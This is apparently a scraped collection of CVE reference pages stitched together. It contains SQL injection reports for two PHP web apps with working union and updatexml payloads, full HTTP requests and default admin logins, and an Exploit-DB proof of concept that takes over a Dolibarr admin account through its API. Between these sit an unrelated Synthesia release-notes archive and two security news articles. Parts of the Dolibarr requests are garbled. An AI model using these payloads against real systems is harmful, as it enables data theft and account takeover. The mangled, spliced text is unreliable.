Online Diagnostic Lab Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /tests/view_test.php.

**Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Zhangyushi

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/tests/view\_test.php?id=

Vulnerability location: /odlms/admin/tests/view\_test.php?id=,id

dbname=odlms\_db,length=8

\[+\] Payload: /odlms/admin/tests/view\_test.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /odlms/admin/tests/view\_test.php?id\=\-1%27%20union%20select%201,database(),3,4,5,6,7,8\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-43162: bug_report/SQLi-1.md at main · zys20201225/bug_report

A buffer overflow in Synthesia before 10.7.5567, when a non-Latin locale is used, allows user-assisted attackers to cause a denial of service (application crash) via a crafted MIDI file with malformed bytes. This file is mishandled during a deletion attempt. In Synthesia before 10.9, an improper path handling allows local attackers to cause a denial of service (application crash) via a crafted MIDI file with malformed bytes.

Oct 31 2021

**Synthesia 10.8**

MusicXML files can now be opened by Synthesia!

For now, none of the additional musical information (vs. a MIDI file) is being used when drawing sheet music. But MusicXML files should load, play, and sound correct. We'll be using the newly available musical information to improve the sheet music over the next several updates. If you spot something that doesn't sound correct, please let us know!

What's new in **Synthesia 10.8**:

*   MusicXML file loading.
*   Reworked full-screen sheet music navigation. (Watch the video.)
*   The song list should load about 100x faster.
*   Apple silicon support on macOS.
*   Many other fixes and improvements.

May 20 2021

**Changing Lives for 15 Years**

Synthesia has been around since before apps were called apps. Over the years, my favorite thing has been learning the different ways it has impacted the lives of its users.

Recently YouTube collected and showcased a number of stories about videos that have done the same for users of their platform. One of those stories was about a Japanese seaweed farmer that used videos of songs played in Synthesia to achieve his dreams of becoming a pianist.

It's a great story that you can watch, here. (It's in Japanese, so you may need to click the CC button at the lower-right to turn on subtitles.)

Hearing from so many of you over the years has brought no end to the gratification this project has given me. Thank you for going on this journey with me and thank you for using Synthesia!

\- Nicholas

Feb 15 2021

**Synthesia 10.7**

Simple MIDI Recording, down-stems, and new languages:

*   Added a simple multi-track recorder to the Free Play screen (when unlocked).
*   Improved sheet music: note stems are now able to point down.
*   Added three new display languages: Catalan, Turkish, and Japanese.
*   Many other fixes and improvements.

Sep 29 2019

**Synthesia 10.6**

Full-screen Sheet Music:

*   Use the new gear menu to show full-screen sheet music.
*   Navigate through the song by clicking the sheet music.
*   Bookmarks and loops are now shown in sheet music.
*   Set the number of errors before your loop restarts automatically.
*   Many other bug fixes and improvements.

Jan 29 2019

**Synthesia 10.5.1**

New settings and lots of fixes:

*   Added Thai language support.
*   Added 9 new settings to customize under Gameplay and Advanced.
*   The built-in synth (on PC and Android) now has nicer reverb.
*   Fixed high CPU usage on macOS Mojave.
*   iPad Pro 11" screen size support.
*   About a dozen other bug fixes and small improvements.

Nov 21 2018

**Synthesia 10.5**

Better sounds, iOS Files support, Android M MIDI, Chromebooks, and more!

*   Added a faster synth with better sounds for Windows and Android.
*   You can now manage your songs on the iPad with the Files app.
*   MIDI devices should now appear on compatible Chromebook models.
*   Improved Android MIDI compatibility.
*   Improved Windows 10 MIDI compatibility.
*   Many more features, bug fixes, and performance improvements.

Nov 17 2017

**Synthesia 10.4**

Sharp notation, Windows 10 MIDI, "Simple" labels, AVI export, and more!

*   Sheet music now always appears sharp, regardless of size.
*   Windows 10 MIDI support: lower latency synth and Bluetooth MIDI!
*   Support for "The ONE Smart Keyboard" key lights on iPad and Android.
*   New "Simple" labels mode that shows C, D, E, etc. on white keys only.
*   Windows version of the Video Creator now lets you export AVI files.
*   And 20+ more features and bug fixes.

Sep 13 2016

**Synthesia 10.3**

More songs, more languages, more modernization, and lots of fixes!

*   Added 5 songs from the Undertale and Five Nights at Freddy's games.
*   Added Slovenian and Polish language support.
*   Retina support for Mac, now making Synthesia HiDPI-aware everywhere.
*   Try the first 20 seconds of any song without unlocking Synthesia.
*   Plus 16 more features and 15 bug fixes.

Aug 23 2015

**Synthesia 10.2**

Synthesia 10.2 adds new conveniences and smooths a few rough edges!

*   Unlock Synthesia for Android using your key from the desktop version!
*   Discover our how-to guides using Synthesia's new help buttons.
*   Try out even more songs in trial mode.
*   Read the larger key and note labels more easily.
*   Toggle loops on/off with the "/" key.
*   Set your zoom level to "Custom", then match the screen to your keyboard.
*   Install more easily on Windows in a single click.
*   Enjoy 48 more improvements and fixes!

Jan 6 2015

**Synthesia 10.1**

Added Dutch language support and fixed 17 bugs!

Dec 19 2014

**Synthesia for Android**

If you've got an Android device that runs Android 4.1 or later, download Synthesia now:

Keyboards can be connected using USB On-The-Go cables.

Synthesia 10 adds dozens of major features!

*   Easy hand splitting for songs that were arranged as a single piano part.
*   A new Free Play area to experiment with notes, instruments, and chords.
*   See the next loop before it starts! No more sudden jumps.
*   Recently played song list on the title screen for quick navigation.
*   Italian language support.
*   Much, much more...

Synthesia 9 lets more people play than ever!

*   Multiple languages! Choose between English, Spanish, French, German, Russian, Brazilian Portuguese, and Traditional Chinese.
*   Change Synthesia's window size anytime you like.
*   Press Alt-Enter to toggle full-screen mode on any monitor.
*   Support for the new Synthesia Music Store.

Synthesia 8.6 gets things ready for the upcoming song store.

*   Lots of new metadata support for the upcoming song store.
*   Add your own background image using the configuration tool.
*   Click the score box to hide it.
*   The "Scale Number" label mode is back.
*   Over a dozen more bug fixes and improvements.

Synthesia 8.5 is a small release containing 21 bug fixes and an easier way to enter unlock keys.

There are too many improvements to list! Every single screen has been overhauled with new or improved features everywhere.

Synthesia for iPad

It's a natural fit. Put your iPad right on your keyboard's music stand.

Synthesia for iPad makes no compromises: every feature you love on the desktop has made the transition smoothly. Connect your keyboard or play using the touchscreen.

Improved On-Screen Keyboard

The menus aren't the only thing that have been improved. The keyboard and falling notes have never looked this good before.

The new graphics have been accurately modeled from a real piano. Pan left or right by dragging in the falling note area. Zoom in or out smoothly by pinching on the iPad or using the zoom menu on the desktop.

Color Themes

Not ready for so much change? Head over to the Color Themes section under Settings and switch over to the "Synthesia Classic" theme.

You can make your own themes, too. Check out the new modding forum for details. Then share your color theme with others.

So Much More...

Multiple input/output device support, smooth-scrolling song library, user profile statistics, song library auto-grouping by folder, lots of new options, helpful prompts throughout all the menus, redesigned advanced song settings, and the list keeps going!

May 16 2012

**Tips for Synthesia Songwriters**

Do you create your own songs to share with others using Synthesia?

Check out this guide that shows a few easy steps to get the most out of Synthesia's features with your own songs:

Creating Great Content for Synthesia

In just a few minutes you'll be able to add extended metadata, include finger hints, enable the simple song view, create links on your site that will open Synthesia in a single click, and more!

Apr 5 2012

**Synthesia 0.8.3**

The new song progress tracking feature is Synthesia's best feature ever. Grab Synthesia 0.8.3 now to get it along with a dozen or so new features.

Stay Motivated, Track Your Progress

Let Synthesia guide you through the process of learning every song. The new song progress metric lets you to set personal goals and watch them become realized.

Whenever you play a song, you have a chance at proving how far you've progressed in that song.

This is my new personal favorite feature.

It's Just You and the Music

Synthesia 0.8.3 brings a new, cleaner play screen. All of the clutter has been tucked into a menu at the top of the screen.

With fewer distractions and a display much friendlier to lower-resolution screens, it's just you and your music.

Launch Synthesia From Your Browser

After you run Synthesia 0.8.3 for the first time, you are ready to launch songs in a single click. Try it out: Bach Chorale.

Want to create your own Synthesia links for your website or YouTube videos? Use the Synthesia Song Link Generator tool.

New Scale and Arpeggio Exercises

Try out the new exercises by Ash from the forums. Each exercise is split into separate hands and includes finger hints. You'll find them in the song library under "Ash's Exercises".

Nov 7 2011

**Synthesia 0.8.2**

With keyboard navigation, huge improvements to the sheet display, and dozens of quality of life improvements, Synthesia 0.8.2 is the biggest release ever.

Control Everything with Your Keyboard

Customize all song controls. Fast-forward and rewind with your pitch bend wheel. Pause the song with your lowest note. Change the speed with your modulation wheel.

The sky is the limit.

Dramatically Improved Sheet Music

Follow along smoother than ever with new note and measure highlighting. Never lose your place with an easier to follow page-turn effect.

Synthesia's sheet music now supports key signatures, time signatures, staccato notes, crowded notes, better clef detection, smarter spacing, crisper staff and bar lines, and still more.

And More...

*   Keyboard settings are remembered much smarter between sessions.
*   Windowed mode on the Mac along with a better Mac install experience.
*   Automatically pause when a keyboard connection is lost.
*   Dozens of other tweaks and fixes.

Jun 6 2011

**Synthesia 0.8.1**

What's new in 0.8.1:

*   Add finger number hints to your songs in a single click. (video)
*   Finger hints included for all 100+ built-in songs.
*   Simplified track settings let you jump in fast.
*   Improved library searching to find your favorite songs quicker.
*   Many improvements in MIDI, device, and computer compatibility.
*   Tons of tweaks and fixes.

Dec 16 2010

**Synthesia on _Strictly Come Dancing_**

_Strictly Come Dancing_ is the original UK version of _Dancing with the Stars_. Each year the show puts the trainers through a crazy challenge. This season, Synthesia's falling note display was combined with a giant floor piano in the "ITT Grand Piano Challenge".

They kind of threw them to the wolves by only giving the trainers one attempt and not letting them practice ahead of time.

Check out the final two performances and award ceremony from the show.

Nov 13 2010

**Synthesia 0.8.0**

What's new in 0.8.0:

*   Named profiles. See your name next to your scores after playing locally or online. Compete against friends.
*   Many settings can now be changed during gameplay.
*   The beginnings of a new look...
*   A handful of fixes and other tweaks.

Oct 8 2010

**Synthesia 0.7.5**

What's new in _0.7.5_:

*   Competition-ready songs and scoring.
*   Revamped track settings saves time with copy and paste settings.
*   Better song library performance, especially with big collections.
*   Several tweaks and improvements to all play modes.

Sep 1 2010

**Synthesia 0.7.4**

This month we have a few things I've wanted to include forever now.

What's new in _0.7.4_:

*   Lighted keyboard support: the next note will light up while stopped in practice mode. Turn it on via the Keyboard Setup screen.
*   Improved note labels: new mode, more accurate, and easier to read.
*   New configuration tool with windowed mode and resolution picker.
*   Improved looping: easier to use, easier to find, better feedback.
*   A number of stability and other bug fixes.

Aug 1 2010

**Synthesia 0.7.3**

The long-awaited metronome is available at last. Lots of other great engine work made it in to prepare for the upcoming online scoreboard.

What's new in _0.7.3_:

*   Metronome. Control the speed, volume, and style. Works with simple, compound, and even changing time signatures.
*   Have fun with instruments. Click a track's instrument icon to change.
*   Find songs faster. Search with the new song library filter box.
*   Create quick loops between bookmarks using the < and > keys.
*   Speed improvements. Gameplay now runs smoother than ever.

Jun 30 2010

**Synthesia 0.7.2**

Synthesia is moving full-speed ahead now. This is the first of six monthly releases that will run until the end of the year.

Check out what's new below, download the new version, and enjoy!

What's new in _0.7.2_:

*   Song looping: Create loops with one click to keep practicing those tough parts. Statistics are shown in real time detailing how you are improving.
*   Synthesia is now aware of smaller keyboards. Set your size on the keyboard screen and Synthesia will play notes outside your reach or move them closer so you can play them yourself.
*   Scoring revamp: hold notes for their full duration for maximum points!
*   Lots of other improvements and fixes.

May 30 2010

**Synthesia 0.7.1**

It's ready. This is an exciting time for the project. The 0.7.1 release is a great stepping-stone to the newly accelerated development schedule I've just started. Expect to see releases with more, released more often from here on out for the next six months!

In the meantime, check out what's new below, download the new version from the box on the left, and enjoy!

What's new in _0.7.1_:

*   Song Bookmarks: place markers that let you jump right to those tough sections.
*   New play screen navigation: click the timeline to jump, the buttons to navigate, or the mouse-wheel while paused to scroll the song.
*   Your keyboard's sustain pedal will now hold the duration of notes.
*   Sheet music improvement: notes are much smarter about which staff to appear on.
*   Improved song library searching: type a song name to jump right there.
*   Better error reporting: crash report files help me jump right to the problem.
*   Tons of other improvements and bug fixes.

Sep 19 2009

**Synthesia 0.7.0**

I am proud to present the 0.7.0 release of Synthesia. Check out the feature list, download the new version from the box on the left, and enjoy!

What's new in _0.7.0_:

*   New _Song Library_ with audio previews and sorting by difficulty and rating.
*   More than _20 new songs_ and over _100 songs updated_ to split the left/right hand parts. (Thanks Choul, Rickeeey, and TieDyeGuy from the forums!)
*   Scoring for practice mode: now you can follow your progress.
*   Sheet music display improvements including rests and a fixed-width option.
*   An option to require all notes in a chord be pressed at the same time in practice mode.
*   Keyboard setup screen to help diagnose connection problems.
*   Lots of menus re-worked to make navigation easier and more intuitive.
*   New "View in Synthesia" right-click shortcut: a quick MIDI viewer.
*   Tons of other improvements, fixes, and optimizations!

Sep 19 2008

**Synthesia 0.6.5**

It's that time again. Here is the new 0.6.5 release of the game. There is lots of new stuff to check out, so download the new version from the box on the left and enjoy!

What's new in _0.6.5_:

*   Note and key labels (C, C#, D or Do, Re, Mi).
*   Resizeable sheet music display.
*   120+ new songs included from G Major Music Theory.
*   Faster startup and gameplay.
*   The usual assortment of bug fixes and improvements.

Jun 5 2008

**Synthesia 0.6.4**

I am very pleased to present both the new 0.6.4 release of Synthesia. Download the game from the box on the left and enjoy!

What's new in _0.6.4_:

*   Practice mode that waits for the correct notes.
*   Sheet music display with two display styles.
*   Measure lines in the falling notes.
*   Play-settings screen that gives more control over gameplay.
*   Several new options to tweak the display and a handful of bug fixes.

Jan 1 2008

**Synthesia 0.6.3**

What's new in _0.6.3_:

*   Zoom to song or 'You Play' extents so notes are easier to follow.
*   Option screen that allows some tweaking, most-important: play all user input.
*   Lots of bug fixes, new DirectX back-end to correct some issues.
*   A few visual updates.

This one is smaller than expected because the holidays were busier than I had hoped.

Aug 29 2007

**Synthesia 0.6.2**

New in version _0.6.2_ (August 29, 2007)

*   Rewind / fast-forward during songs.
*   Top scores list for each song you play.
*   Song and track settings are saved between plays.
*   New note spark effect.
*   A software keyboard so everyone can try it out.
*   Auto-splitting single-track MIDI songs to have one track per instrument.

Highlights coming up in version _0.6.3_ (December 31, 2007)

*   Sheet music display!
*   Zoom to your keyboard or song extents.
*   Tons of new built-in music and warm-up exercises.
*   Lots of display and game customization via new options screen.
*   Many new visual effects!

May 28 2007

**Synthesia 0.6.1**

_Synthesia 0.6.1_ is now available! Report any problems in the forum. Major changes:

*   External devices can now be selected for output in the Mac version.
*   The Mac version behaves much nicer now (after about a dozen bug fixes).
*   A couple Windows bugs were fixed.

Apr 30 2007

**Synthesia 0.6.0**

It's here! Download either the Windows or the new Mac version of Synthesia 0.6.0 to get improved graphics and performance.

Apr 25 2007

**Activision Cease and Desist**

I have received a cease and desist letter from Activision for the use of the name "Piano Hero". See the cease and desist page for details.

Quick summary: Choose a new name for the project and update the website/game. The 0.6.0 release (introducing Mac support) has been pushed back a week to April-30 to compensate.

Name Suggestions: 430 names (68 duplicates) with 6 images. Check out the complete list.

Winning Name: "Synthesia", suggested by Daniel Lawrence from England. It's an incredible name, thanks again Daniel!

(Check out Destructoid's article about this whole situation. It's funny.)

Feb 20 2007

**Synthesia 0.5.1**

MIDI input now plays back in the correct instrument, feedback and stats have been improved, there are now tooltips on each menu control, lots of bug fixes, a new installer, and a set of 10 fantastic songs from Game Music Themes! What are you waiting for?

Feb 14 2007

**Want a Mac version of Synthesia?**

Alright. You guys are awesome.

The response from just a couple of articles has been absolutely unbelievable and in a **single day** you donated more than enough for a Mac mini. So much, in fact, that I can get an iMac instead. You guys are really incredible, thank you! You will get your Mac version as promised!

Jan 26 2007

**Synthesia 0.5.0**

Synthesia 0.5.0 Released! MIDI input is now supported. Try to get the highest score and earn the best grade. Download Now!

Dec 9 2006

**Synthesia 0.4.0**

Want to learn how to play the piano? Synthesia is a fun way to play any kind of music including your favorite video game music, classical music, and holiday music. Check out the feature list, screenshots, and then download it.

**Features**

*   Supports any MIDI file.
*   Practice left or right hand parts separately.
*   Slow songs down while learning new parts.

**Work In Progress**

*   Real piano is required - no "software" keyboard is provided.
*   MIDI input not supported yet - just play along for now.
*   Without MIDI input, grading or scoring isn't possible.

CVE-2021-33897: Synthesia News Archive

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/admin/?page=user/manage_user&id=.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/admin/?page=user/manage\_user&id=

Vulnerability location: /asms/admin/?page=user/manage\_user&id=, id

dbname =asms\_db,length=7

\[+\] Payload: /asms/admin/?page=user/manage\_user&id=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /asms/admin/?page\=user/manage\_user&id\=3%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close

CVE-2022-44403: bug_report/SQLi-1.md at main · acvxd/bug_report

Automotive Shop Management System v1.0 is vulnerable to SQL Injection via /asms/classes/Master.php?f=delete_transaction.

**Automotive Shop Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: acvxd

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/classes/Master.php?f=delete\_transaction

Vulnerability location: /asms/classes/Master.php?f=delete\_transaction, id

dbname =asms\_db,length=7

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /asms/classes/Master.php?f\=delete\_transaction HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou\_member\_id=1; dou\_member\_code=3a2d7d2301afce4cf127
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-44402: bug_report/SQLi-2.md at main · acvxd/bug_report

Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API.

**Dolibarr ERP 14.0.1 - Privilege Escalation**

**Platform:****PHP**

**Date:****2021-09-02**

  

    # Exploit Title: Dolibarr ERP/CRM 14.0.1 - Privilege Escalation
    # Date: April 8, 2021
    # Exploit Author: Vishwaraj101
    # Vendor Homepage: https://www.dolibarr.org/
    # Affected Version: <= 14.0.1
    # Patch: https://github.com/Dolibarr/dolibarr/commit/489cff46a37b04784d8e884af7fc2ad623bee17d
    
    *Summary:*
    Using the below chain of issues attacker can compromise any dolibarr
    user account including the admin.
    
    *Poc:*
    
       1. Visit https://example.com/api/index.php/login?login=demo&password=demo
       try to login with a test user with 0 permissons or less permissions.
       2. We will receive an api token in return.
       3. Next we need to fetch the user id of the user whose account we want
       to own.
    
    
    
    *First we need to fetch the user id of the admin user using the below api.*
    
    *Request1:*
    
    GET /api/index.php/users/login/admin HTTP/1.1Host:
    preview2.dolibarr.ohttps://preview2.dolibarr.org/api/index.php/users/login/adminrg
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    root@tqn9xk6rn6fq8x9ijbmpouosrjxan3srh.burpcollaborator.netAccept:
    application/json
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflateDOLAPIKEY: test1337Connection: close
    
    *This will return the user details using the username. Now update the
    victim user account via below api (include the json body received from the
    previous request1 and replace the email id from below json to the attacker
    controlled email)*
    
    
    *Request2:*PUT /api/index.php/users/*12* HTTP/1.1
    
    Host: preview2.dolibarr.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1;
    WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
    Safari/537.36 root@67bmexn44jw3paqv0o3257558wen5mwal.burpcollaborator.netAccept:
    application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip,
    deflateDOLAPIKEY: test1337Origin:
    https://preview2.dolibarr.orgConnection: closeReferer:
    http://5z5l6wf3wio2h9iusnv1x6x40v6mxkw8l.burpcollaborator.net/refContent-Length:
    3221
    {
        "id": "12",
        "statut": "1",
        "employee": "1",
        "civility_code": null,
        "gender": "woman",
        "birth": 495583200,
        "email": "*attacker@example.com <attacker@example.com>*",
        "personal_email": "",
        "socialnetworks": {
            "facebook": "",
            "skype": "",
            "twitter": "",
            "linkedin": "",
            "instagram": "",
            "snapchat": "",
            "googleplus": "",
            "youtube": "",
            "whatsapp": "",
            "tumblr": "",
            "vero": "",
            "viadeo": "",
            "slack": "",
            "xing": "",
            "meetup": "",
            "pinterest": "",
            "flickr": "",
            "500px": "",
            "giphy": "",
            "gifycat": "",
            "dailymotion": "",
            "vimeo": "",
            "periscope": "",
            "twitch": "",
            "discord": "",
            "wikipedia": "",
            "reddit": "",
            "quora": "",
            "tripadvisor": "",
            "mastodon": "",
            "diaspora": "",
            "viber": ""
        },
        "job": "Admin Technical",
        "signature": "",
        "address": "",
        "zip": "",
        "town": "",
        "state_id": null,
        "state_code": null,
        "state": null,
        "office_phone": "",
        "office_fax": "",
        "user_mobile": "",
        "personal_mobile": "",
        "admin": "1",
        "login": "admin",
        "entity": "0",
        "datec": 1507187386,
        "datem": 1617819214,
        "socid": null,
        "contact_id": null,
        "fk_member": null,
        "fk_user": "11",
        "fk_user_expense_validator": null,
        "fk_user_holiday_validator": null,
        "clicktodial_url": null,
        "clicktodial_login": null,
        "clicktodial_poste": null,
        "datelastlogin": 1617816891,
        "datepreviouslogin": 1617815935,
        "datestartvalidity": "",
        "dateendvalidity": "",
        "photo": "com.jpg",
        "lang": "fr_FR",
        "rights": {
            "user": {
                "user": {},
                "self": {}
            }
        },
        "conf": {},
        "users": [],
        "parentof": null,
        "accountancy_code": "",
        "weeklyhours": "39.00000000",
        "color": "",
        "dateemployment": "",
        "dateemploymentend": "",
        "default_c_exp_tax_cat": null,
        "default_range": null,
        "fk_warehouse": null,
        "import_key": null,
        "array_options": [],
        "array_languages": null,
        "linkedObjectsIds": null,
        "canvas": null,
        "fk_project": null,
        "contact": null,
        "thirdparty": null,
        "user": null,
        "origin": null,
        "origin_id": null,
        "ref": "12",
        "ref_ext": null,
        "status": null,
        "country": null,
        "country_id": null,
        "country_code": "",
        "region_id": null,
        "barcode_type": null,
        "barcode_type_code": null,
        "barcode_type_label": null,
        "barcode_type_coder": null,
        "mode_reglement_id": null,
        "cond_reglement_id": null,
        "demand_reason_id": null,
        "transport_mode_id": null,
        "cond_reglement": null,
        "modelpdf": null,
        "last_main_doc": null,
        "fk_bank": null,
        "fk_account": null,
        "note_public": "",
        "note_private": "",
        "note": "",
        "name": null,
        "lastname": "Adminson",
        "firstname": "Alice",
        "civility_id": null,
        "date_creation": null,
        "date_validation": null,
        "date_modification": null,
        "specimen": 0,
        "alreadypaid": null,
        "liste_limit": 0
    }
    
    This will reset the admin email account to the attacker controlled
    email account, now using the password reset feature attacker will
    reset the admin account password and will gain access to the admin
    account.

CVE-2022-43138: Offensive Security’s Exploit Database Archive

Researchers find current data protections strategies are failing to get the job done, and IT leaders are concerned, while a lack of qualified IT security talent hampers cyber-defense initiatives.

Organizations are struggling with mounting data losses, increased downtime, and rising recovery costs due to cyberattacks — to the tune of $1.06 million in costs per incident. Meanwhile, IT security staffs are stalled on getting defenses up to speed.

That's according to the 2022 Dell Global Data Protection Index (GDPI) survey of 1,000 IT decision-makers across 15 countries and 14 industries, which found that organizations that experienced disruption have also suffered an average of 2TB data loss and 19 hours of downtime. 

Most respondents (67%) said they lack confidence that their existing data protection measures are sufficient to cope with malware and ransomware threats. A full 63% said they are not very confident that all business-critical data can be reliably recovered in the event of a destructive cyberattack.

Their fears seem founded: Nearly half of respondents (48%) experienced a cyberattack in the past 12 months that prevented access to their data (a 23% increase from 2021) — and that's a trend that Colm Keegan, senior consultant for data protection solutions at Dell Technologies, says will likely continue. 

"The growth and increased distribution of data across edge, core data center and multiple public cloud environments are making it exceedingly difficult for IT admins to protect their data," Keegan explains.

On the protection front, most organizations are falling behind; for instance, 91% are aware of or planning to deploy a zero-trust architecture, but only 12% are fully deployed.

And it's not just advanced defense that's lacking: Keegan points out that 69% of respondents stated they simply cannot meet their backup windows to be prepared for a ransomware attack.

**Data Protection Strategies Face Headwinds**

One of the primary reasons data protection strategies are failing is the lack of visibility of where that data resides and what it is — a problem exacerbated by the rapid, ongoing adoption of cloud-native apps and containers. More than three-quarters of survey respondents said there is a lack of common data protection solutions for these newer technologies.

"Seventy-two percent said they are unable to keep up with what their developers are doing in the cloud — it’s basically a blind spot for them," Keegan says.  

Claude Mandy, chief evangelist of data security at Symmetry Systems, a provider of hybrid cloud data security solutions, agrees that a lack of visibility is the primary reason current data-protection strategies fail.

"Organizations simply do not know what data they have, where it is, let alone how it is protected," he says. "Unfortunately, a lot of the data-protection failures are preventable by simply knowing the answers to these questions."

He adds that the problem is worsened by the constant change of data within an organization. From his perspective, the sheer scale and complexity of millions of individual data objects across thousands of data stored in multiple clouds, multiplied by a seemingly infinite combination of roles and permissions for thousands of user and machine identities, would be challenging for chief information security officers (CISOs) to secure even if they were static. They're not, so the situation is even more challenging.

To boot, in a lot of cases, organizations are using multiple data security tools for different silos of information, with no overarching integration between them.

"The billions of objects form over months or years, and change constantly," Mandy says. "This is further exacerbated through continuous data flows, privilege creep, data sprawl, and organizational churn, resulting in \[visibility\] to data that is far from ideal."

**Zero-Trust Implementation Lags, Despite Interest**

Zero trust is growing in popularity in enterprise security because not trusting users by default works well to reduce risk. Indeed, virtually all the GDPI respondents indicated they intend to implement zero trust into their environments at some point.

However, actual deployment is not happening at a rapid pace — as mentioned, only 12% of respondents indicated they have fully deployed at zero-trust architecture into their environments. According to researchers, the main problem is a critical shortfall in IT skills, particularly as it relates to cyber recovery and data protection.

Widely reported shortages of trained cybersecurity professionals are driving the industry to try to come up with some with creative recruiting and training solutions, but just 65 cybersecurity professionals are in the workforce for every 100 available jobs, a recent study shows.

"If you don’t have cybersecurity professionals on staff, it’s virtually impossible to make progress on deploying a zero-trust framework, unless, of course, you rely on partners to help you get there," Keegan says. "Now consider the demand for these resources in the market. Like supply chain constraints, demand is high, and the supply is low."

Patrick Tiquet, vice president of security and architecture at Keeper Security, a provider of zero-trust and zero-knowledge cybersecurity software, says that zero-trust management can be challenging even with staff on board.

"Implementation of \[zero trust\] is currently a common data-protection strategy," he explains. "However, for \[zero trust\] to be effective, access and roles must first be configured correctly."

This means ensuring the right people have access to the right data and resources within the zero-trust architecture. Roles must be implemented that are adequately scoped to protect the data that role can access — and correctly configuring access to data just one time ("set it and forget it," in other words) is not enough.

"The organization must maintain and manage data access through the lifecycle of the data, and as the organization grows," Tiquet adds. "Organizations must make sure that, as teams grow and change, the access given to a specific role is still appropriate."

**Vendor Consolidation on the To-Do List**

Keegan says it’s likely there will be some retooling at organizations in terms of platforms — many survey respondents (85%) said they believe they would see a benefit through reducing the number of data protection vendors they work with.

"The research tends to support this sentiment," he adds. "For example, those using a single data protection vendor had far fewer incidents of data loss than those using multiple vendors."

Likewise, the cost of data loss incidents resulting from a cyber attack was approximately 34% higher for those organizations working with multiple data protection vendors than those using a single vendor, according to the survey.

John Bambenek, principal threat hunter at Netenrich, a security and operations analytics software-as-a-service (SaaS) company, says the current spate of M&A and consolidation in the cybersecurity market speaks to those drivers — but warns that vendors trying to be all things to all security problems has its own downsides.

"The larger tech firms get, the less ability they have to innovate and solve problems leading to opportunities for new vendors to step in with new solutions," he explains. "It's \[a cycle\] we see of M&A frenzy and stagnation, then new companies enter to innovate — and more M&A."

Keegan, meanwhile, says he is hearing calls in the analyst community that organizations need to consider shifting their investments from cybersecurity prevention to resiliency.

"This means accepting the inevitability that security breaches will occur," he notes. "Moreover, companies need to have a plan that enables them to recover their critical data and business applications in a timely manner to meet their service level objectives."

Zero-Trust Initiatives Stall, as Cyberattack Costs Rocket to $1M per Incident

The socially engineered campaign used a legitimate domain to send phishing emails to large swaths of university targets.

Cyberattackers have targeted students at national educational institutions in the US with a sophisticated phishing campaign that impersonated Instagram. The unusual aspect of the gambit is that they used a valid domain in an effort to steal credentials, bypassing both Microsoft 365 and Exchange email protections in the process.  

The socially engineered attack, which has targeted nearly 22,000 mailboxes, used the personalized handles of Instagram users in messages informing would-be victims that there was an "unusual login" on their account, according to a blog post published on Nov. 17 by Armorblox Research Team.

The login lure is nothing new for phishers. But attackers also sent the messages from a valid email domain, making it much harder for both users and email-scanning technology to flag messages as fraudulent, the researchers said.

"Traditional security training advises looking at email domains before responding for any clear signs of fraud," they explained in the post. "However, in this case, a quick scan of the domain address would not have alerted the end user of fraudulent activity because of the domain's validity."

As phishing has been around so long, attackers know that most people who use email are on to them and thus familiar with how to spot fraudulent messages. This has forced threat actors to get more creative in their tactics to try to fool users into thinking phishing emails are legitimate.

Moreover, those of university age who use Instagram would likely be among the savviest of internet users, having grown up using the technology — which may be why attackers in this campaign in particular were so careful to appear authentic.

